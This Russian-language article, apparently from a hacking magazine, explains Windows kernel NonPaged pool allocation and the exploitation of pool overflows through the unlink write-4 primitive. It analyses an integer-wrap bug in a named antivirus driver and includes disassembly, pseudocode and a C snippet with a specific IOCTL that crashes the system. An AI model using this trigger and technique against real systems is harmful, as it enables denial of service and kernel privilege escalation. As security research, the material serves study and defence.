Pull to refresh

Kernel Pool Overflow: от теории к практике

Reading time 10 min
Views 41K
Ядро Windows всегда было лакомым кусочком для хакера, особенно при наличии законченных методик его эксплуатирования, приводящих к повышению прав. Учитывая тот факт, что за последние несколько лет количество уязвимостей, связанных с переполнением динамической памяти ядра, резко возросло, я активно заинтересовался данным направлением и, к собственному удивлению, в конечном итоге накопал столько материала, что его хватит не на один 0day-баг.

Наглядный ядерный шеллкод :)


Актуальность проблемы


Технология Memory Management является одной из самых важных в работе ядра. Уязвимости этого механизма, пожалуй, также самые страшные и, в то же время, актуальные. Они и являются основным стимулом для создания всяких разных видов защиты, таких как safe unlinking. В данной статье будут детально рассмотрены некоторые аспекты, как теоретические, так и практические, по эксплуатации динамического переполнения памяти ядра.

Для начала я покажу пальцем на самых ярких представителей уязвимостей этой касты:
  • ms08-001 — IGMPv3 Kernel Pool Overflow – удаленное переполнение в tcpip.sys;
  • ms09-006 – уязвимость в обработке определенных записей wmf/emf, связанная с брешью в win32k.sys;
  • ms10-058 – integer overflow уязвимость, ведущая к переполнению пула в tcpip.sys.

Обзор распределения памяти ядром


Как в любой уважающей себя операционной системе, Windows (а точнее говоря, ее ядро) предоставляет некоторые функции для выделения/освобождения памяти. Виртуальная память состоит из блоков, называемых страницами. В архитектуре Intel x86 размер страницы составляет 4096 байт. Однако большинство запросов на выделение памяти меньше объема страницы. Поэтому функции ядра, такие как ExAllocatePoolWithTag и ExFreePoolWithTag, резервируют неиспользуемую память для последующего ее выделения. Внутренние функции напрямую взаимодействуют с железом каждый раз, когда страница задействована. Все эти процедуры достаточно сложны и деликатны, вот почему они реализованы именно в ядре.

Различия между Paged и NonPaged pool


Память ядра системы делится на два различных пула. Этот финт был придуман для выделения наиболее часто используемых блоков памяти. Система должна знать, какие страницы наиболее востребованы, а от каких можно временно отказаться (логично, правда?). Paged pool может быть сохранен в оперативной памяти или вытеснен в файловую систему (swap). NonPaged pool используется для важных задач, существует только в оперативной памяти и для каждого уровня IRQL.

Файл pagefile.sys содержит paged-память. В недалеком прошлом он уже становился жертвой атаки, в ходе которой неподписанный код внедрялся в ядро Vista. Среди обсуждаемых решений было предложено отключить paged-память. Джоанна Рутковска рекламировала такое решение как более безопасное по сравнению с другими, хотя следствием этого стала небольшая потеря физической памяти. Microsoft отказывается от прямого доступа к диску, что подтверждает важность таких возможностей ядра Windows, как Paged- и NonPaged-пулы. Эта статья написана с упором на NonPaged pool, так как обработка Paged-Pool происходит совершенно иначе. NonPaged pool можно рассматривать как более ли менее типичную реализацию heap. Подробная информация о системных пулах доступна в Microsoft Windows Internals.

Таблица NonPaged pool


Алгоритм выделения должен быстро распределять наиболее часто используемые объемы. Поэтому существуют три разные таблицы, каждая из которых выделяет память определенного диапазона. Такую структуру я обнаружил в большинстве алгоритмов управления памятью. Считывание блоков памяти с устройств занимает некоторое время, поэтому в алгоритмах Windows происходит балансировка между скоростью ответа и оптимальным выделением памяти. Время ответа сокращается, если блоки памяти сохраняются для последующего выделения. С другой стороны, избыточное резервирование памяти может сказаться на производительности.
Таблица представляет собой отдельный способ хранения блоков памяти. Мы рассмотрим каждую таблицу и ее местоположение.

NonPaged lookaside – таблица, назначаемая каждому процессору и работающая с объемами памяти, менее или равными 256 байт. У каждого процессора есть контрольный реестр (PCR), хранящий служебные данные процессора – уровень IRQL, GDT, IDT. Расширение реестра называется контрольным регионом (PCRB) и содержит lookaside-таблицы. Следующий дамп windbg представляет структуру такой таблицы:

Дампы структур в windbg
Дампы структур в windbg

Lookaside-таблицы предоставляют наиболее быстрое считывание блоков памяти по сравнению с другими типами. Для такой оптимизации очень важно время задержки, а односвязный список (который реализован в Lookaside) тут намного эффективнее, чем двухсвязный. Функция ExInterlockedPopEntrySList используется для выбора записи из списка с использованием аппаратной инструкции «lock». PPNPagedLookasideList и есть вышеупомянутая Lookaside-таблица. Она содержит два Lookaside-списка: P и L. Поле «depth» структуры GENERAL_LOOKASIDE определяет, как много записей может находиться в списке ListHead. Система регулярно обновляет этот параметр, используя различные счетчики. Алгоритм обновления основан на номере процессора и не одинаков для P и L. В списке P поле «depth» обновляется чаще, чем в списке L, потому что P оптимизирован под очень маленькие блоки.

Вторая таблица зависит от числа процессоров и того, как ими управляет система. Данный способ выделения памяти будет использоваться, если объем менее или равен 4080 байт, или если lookaside-поиск не дал результатов. Даже если целевая таблица меняется, у нее будет та же структура POOL_DESCRIPTOR. В случае единственного процессора используется переменная PoolVector для считывания указателя NonPagedPoolDescriptor. В случае многих процессоров, таблица ExpNonPagedPoolDescriptor содержит 16 слотов с описаниями пулов. PCRB каждого процессора указывает на структуру KNODE. Узел может быть связан с более чем одним процессором и содержит поле «color», используемое как список для ExpNonPagedPoolDescriptor. Следующие схемы иллюстрируют этот алгоритм:

Описание пула при одном процессоре
Описание пула при одном процессоре

Описание пула при нескольких процессора
Описание пула при нескольких процессорах

Ядро определяет глобальную переменную ExpNumberOfNonPagedPools, если данная таблица используется несколькими процессорами. Она должна содержать количество процессоров.

Следующий дамп windbg отображает структуру POOL_DESCRIPTOR:

Структура POOL_DESCRIPTOR
Структура POOL_DESCRIPTOR

В очереди spinlock'ов реализована синхронизация; часть библиотеки HAL используется для предотвращения конфликтов в дескрипторе пула (pool descriptor). Эта процедура позволяет только одному процессору и одной нити получать одновременный доступ к записи из дескриптора пула. Библиотека HAL различается на разных архитектурах. Для дескриптора пула по умолчанию главный NonPaged spinlock заблокирован (LockQueueNonPagedPoolLock). А если он не заблокирован, то для него создается отдельная очередь spinlock.

Третья, и последняя таблица используется процессорами для обработки памяти объемов свыше 4080 байт. MmNonPagedPoolFreeListHead также используется, если закончилась память в остальных таблицах. Доступ к этой таблице происходит при обращении к главной очереди NonPaged spinlock'ом, также называемой LockQueueNonPagedPoolLock.

В ходе освобождения меньшего по объему блока памяти ExFreePoolWithTag объединяет его с предыдущим и следующим свободными блоками. Так может быть создан блок размером в страницу и более. В этом случае блок добавляется в таблицу MmNonPagedPoolFreeListHead.

Алгоритмы выделения и освобождения памяти


Распределение памяти ядром в разных версиях ОС почти не меняется, но этот алгоритм не менее сложен, чем heap пользовательских процессов. В этой части статьи я хочу проиллюстрировать основы поведения таблиц в ходе процедур выделения и освобождения памяти. Многие детали, такие как механизмы синхронизации, будут намеренно опущены. Эти алгоритмы помогут в объяснении метода и понимании основ распределения памяти в ядре.

Алгоритм распределения в NonPaged pool (ExAllocatePoolWithTag):

Наглядный алгоритм выделения памяти
Наглядный алгоритм выделения памяти

Алгоритм высвобождения NonPaged pool (ExFreePoolWithTag):
Соответственно, алгоритм выделения памяти
Соответственно, алгоритм выделения памяти


От синего экрана смерти до исполнения желаний


При переполнении динамической памяти обычно затираются метаданные других выделенных блоков, что в основном ведет к нескольким BugCheck'ам (или попросту BSOD'ам):

BAD_POOL_HEADER: Вызывается в коде ExFreePoolWithTag, если PreviousSize следующего чанка не равен BlockSize текущего чанка.

BAD_POOL_HEADER (19)
The pool is already corrupt at the time of the current request. This may or may not be due to the caller. The internal pool links must be walked to figure out a possible cause of the problem, and then special pool applied to the suspect tags or the driver verifier to a suspect driver.
Arguments:
Arg1: 00000020, a pool block header size is corrupt.
Arg2: 812c1000, The pool entry we were looking for within the page. <---- освобождаемый чанк
Arg3: 812c1fc8, The next pool entry. <---- следующий чанк, заголовок которого мы затерли
Arg4: 0bf90000, (reserved)


DRIVER_CORRUPTED_EXPOOL: Вызывается в коде ExFreePoolWithTag, если при unlink'e произошло исключение Page Fault.

DRIVER_CORRUPTED_EXPOOL (c5)
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high. This is caused by drivers that have corrupted the system pool. Run the driver verifier against any new (or suspect) drivers, and if that doesn't turn up the culprit, then use gflags to enable special pool.
Arguments:
Arg1: 43434343, memory referenced <----- наше фейковое значение Blink'a
Arg2: 00000002, IRQL
Arg3: 00000001, value 0 = read operation, 1 = write operation
Arg4: 80544d06, address which referenced memory


BAD_POOL_CALLER: Вызывается в коде ExFreePoolWithTag, если чанк, который пытаются освободить, уже является освобожденным.

Рассмотрим подробнее заголовок (метаданные) чанка:

// Заголовок чанка
typedef struct _POOL_HEADER
{
   union
   {
      struct 
      {
         USHORT PreviousSize : 9;
         USHORT PoolIndex : 7;
         USHORT BlockSize : 9;
         USHORT PoolType : 7;   
      }
      ULONG32 Ulong1;
   }
   union
   {
      struct _EPROCESS* ProcessBilled;
      ULONG PoolTag;
      struct
      {
         USHORT AllocatorBackTraceIndex; 
         USHORT PoolTagHash;   
      }
   }
} POOL_HEADER, *POOL_HEADER; // sizeof(POOL_HEADER) == 8

Значения PreviousSize, BlockSize вычисляются следующим образом:

PreviousSize = (Размер_Предыдцщего_Чанка_В_Байтах + sizeof(POOL_HEADER)) / 8
BlockSize = (Размер_Чанка_В_Байтах + sizeof(POOL_HEADER)) / 8


Если значение PoolType равно нулю, то такой чанк является освобожденным, и после заголовка идет структура nt!_LIST_ENTRY.

kd> dt nt!_LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY


Эксплуатация


Алгоритм освобождения чанка работает таким образом, что если после освобождаемого чанка есть свободный, то происходит слияние, то есть из двух свободных чанков склеивается один. Это происходит путем нехитрой операции unlink'a.

Удаляем запись entry из двусвязного списка

PLIST_ENTRY b,f;
f=entry->Flink;
b=entry->Blink;
b->Flink=f;
f->Blink=b;


Это ведет к перезаписи 4 байт по контролируемому адресу:

*(адрес)=значение
*(значение+4)=адрес


Незатейливая схема алгоритма, который мы осуществили
Незатейливая схема алгоритма, который мы осуществили


Практикуемся!


Обладая достаточными знаниями, рассмотрим уязвимость в драйвере одного антивирусного продукта.

.text:00016330 mov cx, [eax]; eax указывает на данные под нашим контролем
.text:00016333 inc eax
.text:00016334 inc eax
.text:00016335 test cx, cx
.text:00016338 jnz short loc_16330
.text:0001633A sub eax, edx
.text:0001633C sar eax, 1
.text:0001633E lea eax, [eax+eax+50h] ; размер UNICODE строки + 0x50 байт
.text:00016342 movzx edi, ax ; Неправильное привидение типа, округление до WORD
.text:00016345
.text:00016345 loc_16345:;
.text:00016345 movzx eax, di
.text:00016348 push ebx
.text:00016349 xor ebx, ebx
.text:0001634B cmp eax, ebx
.text:0001634D jz short loc_16359
.text:0001634F push eax; Кол-во байт
.text:00016350 push ebx; Тип пула(NonPaged)
.text:00016351 call ds:ExAllocatePool ; В итоге мы контролируем размер выделяемого chunk'a
.text:00016357 mov ebx, eax
[..]
.text:000163A6 movzx esi, word ptr [edx]
.text:000163A9 mov [eax+edx], si ; Тут происходит запись за границы
.text:000163AD inc edx
.text:000163AE inc edx
.text:000163AF test si, si
[..]
.text:000163F5 push ebx; P
.text:000163F6 call sub_12A43
.text:00012A43 sub_12A43 proc near; CODE XREF: sub_12C9A+5Cp
.text:00012A43; sub_12C9A+79p ...
.text:00012A43
.text:00012A43 P = dword ptr 4
.text:00012A43
.text:00012A43 cmp esp+P], 0
.text:00012A48 jz short locret_12A56
.text:00012A4A push 0; Tag
.text:00012A4C push [esp+4+P]; P
.text:00012A50 call ds:ExFreePoolWithTag ; Освобождение, write4 сценарий


C-подобный псевдокод
len = wsclen(attacker_controlled);
total_len = (2*len + 0x50) ;
size_2_alloc = (WORD)total_len; //  integer wrap!!!
mem = ExAllocatePool(size_2_alloc);
....
wcscpy(mem, attacker_controlled);//переполнение происходит на копировании строк
...
ExFreePool(mem); //тут происходит освобождение, слияние с чанком, который мы создали, сформировав фейковый заголовок, мы перезаписываем указатель в памяти ядра, адресом в пользовательском адресном пространстве, где лежит наш ring0-shellcode

Как видно из кода, уязвимость связана с приведением целочисленных типов, которая ведет к тому, что размер для юникод-строки будет рассчитан неправильно. Все это приведет к переполнению, если передать драйверу буфер с юникод-строкой больше 0xffff байт.

Нехитрый код для воспроизведения BSoD
hDevice = CreateFileA("\\\\.\\KmxSbx", 
			  GENERIC_READ|GENERIC_WRITE,
			  0,
			  0,
			  OPEN_EXISTING,
			  0,
			  NULL);
inbuff = (char *)malloc(0x1C000);
if(!inbuff){
	printf("malloc failed!\n");
	return 0;
}
memset(inbuff, 'A',0x1C000-1);
memset(buff+0x11032, 0x00, 2);//end of unicode, size to allocate 0xff0
ioctl = 0x88000080;
first_dword = 0x400;
memcpy(buff, &first_dword, sizeof(DWORD)); 
DeviceIoControl(hDevice, ioctl, (LPVOID)inbuff, 0x1C000, (LPVOID)inbuff, 0x100, &cb,NULL);

Эксплуатация данной уязвимости не так проста, как может показаться на первый взгляд. Здесь имеют место некоторые ограничения, а именно – переполнение (запись за границы чанка) огромное (больше 0xffff), что потенциально ведет к синему экрану еще до исполнения ExFreePoolWithTag (и, следовательно, к замене указателей при слиянии):

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: fe8aa000, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: f0def3a9, If non-zero, the instruction address which referenced the bad memory address.
Arg4: 00000000, (reserved)
eax=00029fa8 ebx=fe8a7008 ecx=00000008 edx=fe880058 esi=00004141 edi=fe87d094
eip=f0def3a9 esp=f0011b78 ebp=f0011bac iopl=0 nv up ei pl nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206
KmxSbx+0x63a9:
f0def3a9 66893410 mov word ptr [eax+edx],si ds:0023:fe8aa000=???? <---- запись за границу, улетели в неспроецированную память


При перезаписи памяти мы можем переписать данные, которые являются указателями каких-либо ядерных структур, что может привести к самым неожиданным последствиям (очередному BSoD).

Для улучшения эффективности эксплуатации данной уязвимости воспользуемся следующим трюком: создадим N потоков, которые вызывают DeviceIoControl, с такими параметрами, чтобы с какой-то вероятностью N количество блоков определенной длины (0xff0 в данном примере) были выделены, затем освобождены – это дает нам шанс, что при переполнении мы не получим синий экран типа Page Fault (PAGE_FAULT_IN_NONPAGED_AREA). Предложенный пример кода с подробными комментариями ищи на нашем DVD.

Наглядный ядерный шеллкод :)
Наглядный ядерный шеллкод :)

Выводы


На прощание могу лишь сказать, что в интернете очень мало информации об эксплуатации Kernel Pool Overflow. Также огорчает, что в паблике нет рабочих эксплойтов, что создает некое заблуждение, что переполнение памяти в ядре очень сложно эксплуатировать, а если и возможно, то максимальный исход злодеяний – обычный BSoD.

В этой статье авторы попытались показать на реальном примере, что, подключив смекалку, можно улучшить стабильность методов эксплуатации подобных уязвимостей.
В дальнейших статьях мы поговорим о более сложных аспектах эксплуатации Kernel Pool Overflow, которые, конечно, существуют и ждут своего часа :). Stay tuned!

Предложенный пример кода с подробными комментариями ищи на нашем DVD или тут.

Ссылки по теме

Журнал Хакер, Декабрь (12) 143
Никита Тараканов (CISS Research Team)
Александр Бажанюк


Подпишись на «Хакер»
Tags:
Hubs:
+154
Comments 87
Comments Comments 87

Articles

Information

Website
xakep.ru
Registered
Founded
Employees
51–100 employees
Location
Россия